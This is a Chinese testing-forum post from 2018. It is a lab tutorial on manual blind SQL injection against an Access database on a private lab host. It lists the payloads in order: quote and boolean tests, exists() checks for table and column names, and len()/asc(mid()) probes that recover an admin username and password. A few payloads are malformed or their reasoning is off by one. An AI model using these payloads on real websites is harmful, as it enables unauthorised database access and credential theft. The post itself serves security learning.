51Testing软件测试论坛

标题: SQL注入原理-手工注入access数据库 [打印本页]

作者: 子豪_002    时间: 2018-3-20 13:12
标题: SQL注入原理-手工注入access数据库
一、Target:
SQL注入原理、学习手工注入过程
二、实验原理:通过把SQL命令插入到web表单提交或输入域名或页面请求的的查询字符串,最终达到

欺骗服务器执行恶意的SQL命令

1、在结尾的链接中依次添加【’】和【and 1=1】和【and 1=2】判断网站是否存在注入点
2、添加语句【and exists(select*from admin)】根据页面返回结果来猜解表名
3、添加【and exists(select admin from admin)】猜解admin表中的列名admin
4、添加语句【and (select top 1 len (admin)from admin)>1】猜解字段长度
5、添加【and (select top 1 asc(mid(admin,1,1))from admin)>97】猜解字段中字符的ASCII码
通过上述的步骤,反复猜解,即可得到数据库存储的用户名和密码
三、实验环境:
本机:192.168.1.2
目标机:192.168.1.3
四、实验步骤:
找到有注入漏洞目标网站:
**1、目标站点:http://192.168.1.3:8008
随便选择一个链接:http://192.168.1.3:8008/onews.asp?id=45**
[attach]112083[/attach]
2、测试链接,在末尾添加【’】
[attach]112084[/attach]
3、在末尾添加【and 1 =1】
[attach]112085[/attach]
4、在末尾添加【and 1 =2】,返回页面发现该网站存在注入漏洞
[attach]112086[/attach]
猜解表名
在链接末尾添加语句【and exists(select*from admin)】,页面正常显示,说明存在表名【admin】
[attach]112087[/attach]
猜解列名
1、在链接末尾添加语句【and exists(select admin from admin)】,页面显示正常,说明表中存在admin列
[attach]112088[/attach]
2、在链接末尾添加语句【and exists(select password from admin)】,页面显示正常,说明表中存在
列password
[attach]112089[/attach]
猜解字段内容
1、在链接末尾,输入【and (select top 1 len (admin)from admin>1】页面显示正常,数字依次加1,进
行测试,例如:【and (select top 1 len (admin)from admin>5】说明字段长度为5
[attach]112090[/attach]
2、在链接末尾,输入【and (select top 1 asc(mid(admin,1,1))from admin)>97】,可猜解第一条记录
的第一个字符的ASCILL码为97,对应为a.
[attach]112091[/attach]
3、同样的方法得到admin的字段内容【admin】,password的字段内容【bfpms】






欢迎光临 51Testing软件测试论坛 (http://bbs.51testing.com/) Powered by Discuz! X3.2